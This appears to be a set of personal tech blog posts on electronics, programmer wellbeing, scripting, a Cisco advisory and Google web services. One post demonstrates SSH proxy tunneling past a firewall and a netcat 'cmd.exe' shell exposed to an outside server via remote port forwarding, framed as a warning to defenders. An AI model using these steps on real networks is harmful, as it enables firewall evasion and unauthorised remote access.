My best guess is there was a short inside of one of the filter capacitors (the one that imploded and fell on my bench). Lets take a look at some of the basic physics involved with this. To understand what happens here, we need to use Ohms law. Ohms law states that E=IR, where E=voltage, I = current, and R= resistance. With some basic algebra, we can find the amount of current traveling through a circuit. The modified formula we will use is I=E/R. Our wall outlet is providing us 120 Volts. Lets say theoretically that the resistance down this leg of the circuit is 100 Ohms. That leaves us with 1.2 Amps. What happens in a short circuit is that two portions of the circuit get connected in a way that bypasses this resistance. The resistance in the newly created short circuit approaches nearly 0 (there is always some resistance present). Lets say that the ambient resistance in the circuit is 500 mOhms. The current would immediately jump up to 240 Amps. For a circuit rated at 1.2 Amps, you suddenly are pushing 200 times the rated current. Imagine trying to run the Mississippi River through a garden hose and you get the picture. The increase in current will either cause an explosion or so much heat will be generated that it will ignite. This example is just an exagerated demonstration and in reality the current in the power supply was probally close to either 1.5 to three times the rated current before the components went critical and melted. Usually the fuse will blow before that happens, but in this case when I tested, there was still continuity in the fuse.

This is the capacitor that fell out.


And here is a picture of the spot where the capacitor resided. See all that yellow and grey paper stuff? It was what was inside of the capacitor.



And here are some pictures of the scorch marks where a diode got fried around some resistors.



The important lesson here is do not assume that if something is off that it is safe. The only real way to protect it is to unplug it completely.

Programmers: A suggestion for your health

I have a co-worker who always seems really high strung. In a recent conversation I offered him some advice that I feel I should share. All too often I come across IT folks who really go overboard with the whole stress thing. I have known guys who have literally killed themselves programming (no joke). I am sure this is not just confined within the IT field either. And to me this is all stress that they bring upon themselves. This is no way to live folks. I have been in this industry for well over 10 years; so I will offer this advice, take up a hobby. And make sure it is as far away from computers as possible.

I love programming and I am very passionate about it. To me its not a job, but it is something I do because I really love it. But I do other things as well. For example, I have been in martial arts for about 5 years and try to attend classes at least 3 times a week. I have also taken up playing golf, usually trying to go out at least once a week to either go play a round or go to the driving range. Both the martial arts and golf are great stress relievers and they provide a good source of exercise.

Taking up a hobby is not only a great release physically and mentally; it is also an excellent social tool. Out on the golf course and in the dojo I meet quite a few interesting individuals ranging from Doctors to Students. Interacting with actual people provides great experience and helps to build your communication skills. It is easier to communicate with people who have like interests, so you quickly learn how to feel people out to find a common ground. Years ago when I played guitar, I used to come across fellow musicians and hook up for jam sessions and go out for drinks. Some of these people are still friends of mine to this day. People in my social network provide information that I can use for myself or to help someone else. A good representation of this concept is recently one these associates was looking for a 3D modeler and asked if I knew anyone. I was able to refer another friend of mine and he was hired. This is the hidden job market in action, and this would have never taken place had I not built these relationships.

I also highly recommend trying to take a vacation at least once a year. I’m not talking about taking time off of work and sitting at home playing video games, I mean actually going someplace. Take a trip to someplace that you would like to go. These provide excellent stories and life experience. I try to travel with people whenever possible, group outings are a lot more fun than the solo adventure, although both have their advantages. If you have a hobby, make you trip a themed one. For instance, I plan on taking a weekend to go to a golf resort in Dallas sometime during the fall season.

Turning the Tide Against Defenders with SSH

Something occurred to me this morning with the announcement of a new Snort vulnerability (http://www.snort.org/pub-bin/snortnews.cgi), what if security tools are not only the target of attacks, but are actually turned against the defenders? Let take SSH for example. SSH is a great little utility. Many in the security community have touted its many secure features for years. It replaces insecure protocols such as Telnet and FTP with secure, encrypted transfer mechanisms that keep contents of such sessions safe from prying eyes.

There are many additional features in SSH other than just being able to encrypt traffic. I will focus on three of these, Support for Proxy, Local Port Forwarding, and Remote Port Forwarding, and demonstrate how these features can be used to circumvent security measures. For each of the examples, assume that we are in a restricted network environment with all outbound traffic blocked at the firewall with the exception of the HTTP proxy server.

Let us first look at Support for Proxy, since this will be the building block to being able to leverage the other two features in this environment. To utilize this, you would need to modify the SSH clients config file, usually located at ~/.ssh/config, or point SSH to a custom config with the –F switch. Inside of the config file, there is an option called ProxyCommand which points SSH to an executable file to use for connecting through a proxy server. There are a few proxy tools that you can use, but my personal favorite is a tool called ProxyTunnel written by Muppet. Below is an example of a configuration file that will use ProxyTunnel from the local directory. In this file, RemoteHost is the alias SSH will use when referencing the server to connect to, sgrep is ProxyTunnel renamed residing in the working directory, and ProxyServer is the name of the local networks HTTP proxy, and RemoteDNS is the DNS name of the actual remote server.

##Outside of the firewall, use connect command
Host RemoteHost
KeepAlive yes
ProxyCommand ./sgrep -g ProxyServer -G ProxyPort -d RemoteDNS

To connect to a remote server, we will use this modified configuration file by issuing the following command:

ssh –l login_name -f ./modified_config RemoteHost

And we are now connected to a shell account that we have full control of outside of the local networks firewall. Great, but now what? If I had X11 forwarding set on the remote server, I could start remote X programs in my local environment. But that has a bit of a latency issue. Also, individual who can find a badly configured proxy server might now have a possible entry point to a network if they can find a SSH server running on the Intranet.

So wouldn’t it be nice if I could use my local machines programs (for instance, use Internet Explorer) and still have the unrestricted access of the remote machine? Well actually, you can. Lets assume that the remote server is running a HTTP proxy service on it. I would like to tunnel my local traffic to that remote proxy so that I can use that as my access point to the Internet rather than the restricted environment of the local network. Assume that the remote HTTP proxy is Squid running on port 3128. If we modify the SSH command to the command below, we will set up a tunnel that will send local traffic on the designated port to the remote servers designated port.

ssh –l login_name -f ./modified_config –l 3128:localhost:3128 RemoteHost

What we have done here is bound a local port to the remote servers listening port. The Localhost address in the –L switch is relative to the remote network, so I could as easily have used –L 80:www.yahoo.com:80 and connected to Yahoo through my local machines port 80. The actual connect to Yahoo would have been done from the remote server. But in this case I want to proxy, so I need to modify my Internet Explorers connection options, under Tools, Internet Options, Connections, and Lan Settings as pictured below.



Now, I am using the remote proxy server, which is unrestricted, for my local viewing pleasure through my SSH tunnel.

This is a really trivial policy circumvention, so here is the really scary part, the remote tunnel. Using this option, we can set up the inverse of the local tunnel, where a port on a remote system will tunnel back to the local host. For this example, I will tunnel a local Windows command prompt, listening on port 5000 of the local machine, to my remote server on port 5000. (Note: Yes, I know I am logged in as Administrator and root in these examples, this is in a test environment for demonstration). I issue the following NetCat command to set up a listening service and provide the command prompt for the connection:

nc –l –p 5000 –e cmd.exe

Now, I issue the following SSH command to connect to my remote server and set up my tunnel.

ssh –l login_name -f ./modified_config –R 5000:localhost:5000 RemoteHost

So from my remote machine I can Telnet or NetCat into port 5000 and have the Windows Command Prompt. Pictures illustrating this are below.

Here is the NetCat listener on the local machine:


Here is the SSH command to the remote server:


And here is the connection through our tunnel from the remote server to the local machine:


One other possibility is the use of a program called MindTerm. Lets say SSH is not installed on the machines behind the firewall. A quick search of Google for “Java SSH” yields plenty of hosts for Mindterm. Mindterm has all the above features such as proxy support and tunneling, plus it doesn’t need anything more than a browser that supports Java to run.

Lets consider the possibilities of this using the network environment from our examples. Part of your standard operating environment is SSH to eliminate all insecure protocols in your enterprise. While great in theory, the tool has unknowingly provided a possible vulnerability in your security policy. The clever employee circumventing your proxy restricted sites list is the least of your worries. An attacker can use a bit of clever social engineering to get access to your network. Or worse is when virus creators begin using these techniques to expose Intranets (assuming they have not already). All it will take at some point is a motivated developer to incorporate the code for SSH and a proxy tunnel into one. Imagine a tool that establishes a connection through whatever proxy is set in the Windows registry and opens up a remote tunnel. And worse, the traffic is completely encrypted. The potential now exists for a completely encrypted bot net. The tools used to secure your network have been turned against you.

Update: I would like to thank Richard Bejtlich for pointing out a similar article on his blog about SSH. The URL is http://taosecurity.blogspot.com/2004/08/protecting-web-surfing-from-prying.html. Rich pointed out yet another potentially dangerous option in the SSH option, the –D switch. With this command line argument, SSH will act like a SOCKS compatible proxy. What this means is if you have a tool with SOCKS support, you can simply connect to the localhost on the listening port and it will redirect to the host of your choosing. This is similar to using the port forwarding method above and proxy, however you eliminate the need for a proxy.

Both approaches have their pros and cons. Using the dynamic port forwarding you eliminate needing additional listening services, and have a potential wider range of applications you can use. The drawback to this however is that your client app will need to support SOCKS. Using static port forwarding, you would need to know the host ahead of time, and once you open your tunnel you are limited to that host. (Unless you custom develop a tool. Mindterm demonstrates that the SSH protocol is capable of opening tunnels dynamically). In my opinion, SSH is shaping up to be a next generation Netcat.

Know your tools - an example of Scripting vs Programming

     Knowing the proper tool for the job can be a particularly powerful tool in a developer’s arsenal. Knowing the utilities at your disposal can help to eliminate development time, bugs, and difficult management issues with software solutions. One pitfall that beginner programmers tend to fall into is the desire to write a program for everything.

For example, lets look back to my early programming days. I needed to put together a budget, and eager to use my skills, I wrote a small application that would take in my pay amount and split out my budget. It took me a few hours to write. Of course, being a beginner, I did not take into account changes. So for every change I had to make, I had to do more programming and recompile. Since it was not the most efficient solution, I abandoned that application shortly after. Fast forward to recent years where I once again decided to build a budget solution for myself. Of course this time I just did the whole thing on a spreadsheet, something I probably should have done from the beginning. It just seems to work out better that way. It’s simple, effective, and portable.
     
     Most experienced developers would read that and laugh. Looking back, it is pretty funny and I shake my head every time I think of it, but I am sure most programmers have similar stories. Hindsight is always 20/20. Unfortunately smaller businesses tend to put similar systems in place for themselves. Usually they get a part time “wiz kid” or consultant to come in a build a solution to problems that they are having. While eager to show off their skills, the solution is only short term and not very manageable.

     For another example, lets look at an issue I was faced with very recently. We had a vendor come in and implement a new web based enrollment system for us. Of course, the PHBs were completely sold by the sales guys, and what we got was not what we were sold. The system is incredibly unstable, with constant downtime. Guess who gets to deal with the headache of this? So to eliminate response times to system outages, we needed a system to monitor for downtime to hopefully catch these outages before customers called in complaining. The vendor offered us a solution for yet even more hefty sums of cash. Considering the quality of the system itself, I declined their offer and built one myself.

     Since this is a web-based solution, I was able to put together a small (less than 50 lines) Bash script using Curl and Grep to monitor if the page is available, and Mutt to alert us if the system is down. While other utilities are available, Curl was the first tool tested that would work with the single sign-on system correctly. The logic is as follows:

Use Curl to login to site
     If timeout, flag error
Check resulting home page results using Grep.
     If resulting page does not contain certain tokens, flag error.
Check error flag
     If error
           Check if email has been sent
                If no, send email
                If yes, do nothing
      Else
          Check if email has been sent
                If Yes, send email notifying the system is back up
                If no, do nothing.

The script itself looks something like this (Note: comments and echo tags for logging have been removed for brevity):
#/bin/bash

ERROR_FLAG=0

/usr/bin/rm /tmp/curl_output.txt

/usr/bin/curl -o /tmp/curl_output.txt --connect-timeout 30 --max-time 30 -k -L  -d USER=USERNAME -d PASSWORD=PASSWORD -d target=URL_ENCODED_TARGET_FOR_SITEMINDER -d smauthreason=%24%24smauthreason%24%24 -c cookies_file https://server

if [ $? -ne 0 ] ; then
          /usr/bin/echo Date run: `/usr/bin/date` > /tmp/error_report.txt
          /usr/bin/echo "Connection times out after 30 seconds" >> /tmp/error_report.txt
          ERROR_FLAG=1
     else
          if /usr/bin/grep -q "<html><head><title>Page Title" /tmp/curl_output.txt
               then
                    /usr/bin/echo "Token was found, command executed successfully"
               else
                    ERROR_FLAG=1
                    /usr/bin/echo Date run: `/usr/bin/date` > /tmp/error_report.txt
                    /usr/bin/echo "Output page is not correct:" >> /tmp/error_report.txt
                    /usr/bin/cat /tmp/curl_output.txt >> /tmp/error_report.txt
          fi
fi

if [ "$ERROR_FLAG" -eq 1 ] ; then
     if [ -f /tmp/mail_sent ]
     then
          /usr/bin/echo "We do nothing here, file is already sent"
     else
           /usr/bin/cat /tmp/error_report.txt | /usr/bin/mutt -s “ERROR:System-`/usr/bin/date +%F`” people@host.com     
          /usr/bin/touch /tmp/mail_sent      
     fi
else
     if [ -f /tmp/mail_sent ]
     then
          /usr/bin/echo "Server is back up!" | /usr/bin/mutt -s "ERROR:System-`/usr/bin/date +%F`" people@host.com
          /usr/bin/rm /tmp/mail_sent
                 
     fi
fi

This approach has several advantages over writing a compiled program to do the same thing. The components for making and retrieving web pages, store cookies, pass authentication tokens, and fail on timeout already exist in Curl, so this saves on development time. Also, the ability to search through the resulting page already exists in Grep. These are already proven tools that have gone through extensive testing and debugging and have withstood the test of time, so here we are saving time by utilizing tools that are far more reliable than anything we would develop for the same purpose. Due to this time saving, this was out the door in less than two days.

Second, scripting languages tend to be more high level, and much easier to understand. In using a scripting language, not only do I leave maintenance open for developers, but also system administrators, and possibly even power users who inherit this headache. Anyone who is familiar with the environment can go in and make changes or additions as needed. In a later version of this script, I added parameters, making it adaptable to other systems.

There are 3 very important design principles demonstrated from this approach. One is that this tool does one thing and does it very well. Second is that it is easily readable and maintainable by humans. And finally, although more theoretical, it makes use of the reuse concept by leveraging tools that someone else has already written, debugged, and tested. While this is not as “sexy” as a custom solution in C++, C#, Java or whatever the programming language flavor of the month is, it does its job just as well, and in a lot less time.
     
     The point is, know your tools and how to utilize them effectively. Don’t fall into the line of thinking that just because you can write a program for something that it is the most efficient solution to a problem. You can save yourself a lot of time and headache.

Cisco FTP-Telnet IOS Module Vulnerability

Cisco has been kind enough to inform us (the general public) of vulnerability in the FTP/Telnet authentication proxy of IOS. The advisory is located here. Steps for checking if you are running a vulnerable version and the affected module are included in the advisory.

I say that sarcastically considering the events of the Mike Lynn incident. Most large organizations tend to go for the Cisco exclusive setup for their infrastructure, so I find Cisco’s (and most vendors) disclosure policy disgusting. Let me explain why. Vendors have the tendency to release patches for vulnerabilities to their “preferred” customers prior to releasing patches to the public, in some cases, months before public release. Smaller organizations and individuals are left to suffer the full weight of exploits that are released while the big guys will have been sitting pretty for months. When vendors release details about vulnerabilities to the public, how long has this been sitting on the shelf? It makes me feel so much better knowing that my business as an individual means so little to them. If this is how these guys are going to treat the general public, I think they just gave me my answer to Microsoft’s ad slogan of “Where do you want to go today?”

Currently there are no known exploits in the wild, and if there are any zero day exploits, they are not creating mass havoc. So if you’re running vulnerable IOS versions, get your patches.

Web Service fun with Google

A friend of mine has been reading the book “Google Hacks”. While talking with him, he had some questions about some examples of the Perl examples in the book that utilize web services. I figured this would be a good opportunity to go over this concept and demonstrate an example of utilizing the web service.

Web Services, for those who are not familiar, are a Remote Procedure Call mechanism that is implemented through XML messages passed through HTTP. There are two dominant standards that I have come across, XML-RPC and SOAP. Web Service interface descriptors are usually available through a XML file called a WSDL (Web Service Descriptor Language) file. WSDL files contain a description of all attributes, methods, and classes a web service supports. An example would be the Google Search API, available at http://api.google.com/GoogleSearch.wsdl. More information can be found at http://api.google.com.

For this example I will use Visual Basic .Net 2005 Express Beta 2, available freely (for the moment) at http://lab.msdn.microsoft.com/express/vbasic/default.aspx. Be aware that this is beta quality software.

The first step is to start VB and create a new project. In the example, I will create a new Windows Application and call it “BlogGoogleSearch”. Add 3 components to Form1: a button called “cmdDoSearch”, a textbox called “txtSearchItem”, and a listbox called “lstResults”. My Form looked something like this:



From here, we need to make the application aware of the web service we will be utilizing. First, go up to the Project menu and select Add Web Reference.

In the dialog box that follows, enter in the URL of the WSDL file. Click on Go:

Once we click on Add Reference, the exposed web services will be added to the Solution Explorer under Web References. We now have a few Classes for performing searches on Google. One thing to note is that you will need to sign up with the Google API account. They will provide you with a key that you will need to use this API. For the event handler for cmdDoSearch we will add the following code:

Private Sub cmdDoSearch_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles cmdDoSearch.Click

     'The Actual Google search component. Create on instantiation to save space
     Dim google_search_component As New com.google.api.GoogleSearchService()
     'Result is one element in the Results collection. Results are returned from
     'the GoogleSearchService Class
     Dim results As com.google.api.GoogleSearchResult
     Dim result As com.google.api.ResultElement

     'If the google_Search_componenet was successfully allocated, try and do a search
     If Not google_search_component Is Nothing Then
          Try
          'search for the item in txtSearchItem on Google. Return 10 items, no
          'safe searching and use latin1 as the encoding
          results = google_search_component.doGoogleSearch("MyGoogleAPIKey", _
                    txtSearchItem.Text, _
                    0, _
                    10, _
                    False, _
                    "", _
                    False, _
                    "", _
                    "latin1", _
                    "latin1")
          Catch
               'If this fails, tell us why, reset pointers, and exit the sub program
                    MsgBox(Err.Description)
                    google_search_component = Nothing
                    results = Nothing
                    result = Nothing
                    Exit Sub
               End Try
          End If

          'If we recieved no results, then tell the user no results were there
               If (results Is Nothing) Then
                    MsgBox("Error: no results returned", MsgBoxStyle.OKOnly)
                    google_search_component = Nothing
                    results = Nothing
                    result = Nothing
               Exit Sub
          End If

          'For each item returned from the query, add the URL to the list box
          For Each result In results.resultElements
               lstResults.Items.Add(result.URL)
          Next
          'Free memory and exit
          google_search_component = Nothing
          results = Nothing
          result = Nothing
     End Sub

The resulting program will now take whatever is filled in the Textbox, execute the search on Google, and return the resulting URLs in the Listbox. Attached is a screen shot of the complete application.



So now lets user Ethereal to see what the SOAP message passed to Google looks like. Below, I formatted the XML to make it easier to read.

POST http://api.google.com/search/beta2 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50215.44)
Content-Type: text/xml; charset=utf-8
SOAPAction: "urn:GoogleSearchAction"
Host: api.google.com
Content-Length: 913
Expect: 100-continue
Accept-Encoding: gzip
Proxy-Connection: Keep-Alive

<?xml version="1.0" encoding="utf-8" ?>
- <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:tns="urn:GoogleSearch" xmlns:types="urn:GoogleSearch/encodedTypes" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
- <soap:Body soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
- <tns:doGoogleSearch>
<key xsi:type="xsd:string">MyGoogleAPIKey</key>
<q xsi:type="xsd:string">Taosecurity</q>
<start xsi:type="xsd:int">0</start>
<maxResults xsi:type="xsd:int">10</maxResults>
<filter xsi:type="xsd:boolean">false</filter>
<restrict xsi:type="xsd:string" />
<safeSearch xsi:type="xsd:boolean">false</safeSearch>
<lr xsi:type="xsd:string" />
<ie xsi:type="xsd:string">latin1</ie>
<oe xsi:type="xsd:string">latin1</oe>
</tns:doGoogleSearch>
</soap:Body>
</soap:Envelope>

The results sent back from Google are encoded, so seeing the resulting packets would look like a garbled mess. Something in the proxy class for handling the web services know how to decode the return message.

There are pros and cons to the Web Services approach to RPC. One plus is that it follows the tenet of the Unix Philosophy that messages should be human readable. I believe in this very strongly since human time is much more expensive than machine time. So making something human readable makes it easier to track down issues. The second bonus is that the transport is done over commonly available ports through a firewall. By using HTTP transport as a mechanism, you do not need to reinvent the wheel of developing a message passing mechanism into programs.

On the con side is the high overhead with processing XML messages. Imagine thousands of messages being sent like the one above just to pass 1 word to a service to execute a search function. The cost/function ratio is a little out of whack. While human readable is a plus, this just over inflates RPC calls to an extreme, and there are more efficient ways to achieve the same end at a lower overhead cost. Also, implementation needs to be through out carefully for web service providers. I had to replace my key in these examples for security. Plain text transfers, while making it easier for an engineer to read, also make it that much easier for unwanted eavesdropping. So another layer of complexity, a secure transport mechanism such as a SSL tunnel, would be needed.

Of course this is a topic of hot debate right now. There are a lot more facts that go into it. My personal opinion is I feel that for Intranet applications, Web Services can be an incredibly powerful asset if implemented correctly. I do feel that if there are any critical or private transactions taking place, Web Services should never be exposed on the Internet. While some places, such as Google, and some weather services, can offer their web services as a bonus to their customers without exposing them to privacy concerns, banks and other industries should steer clear of this kind of implementation.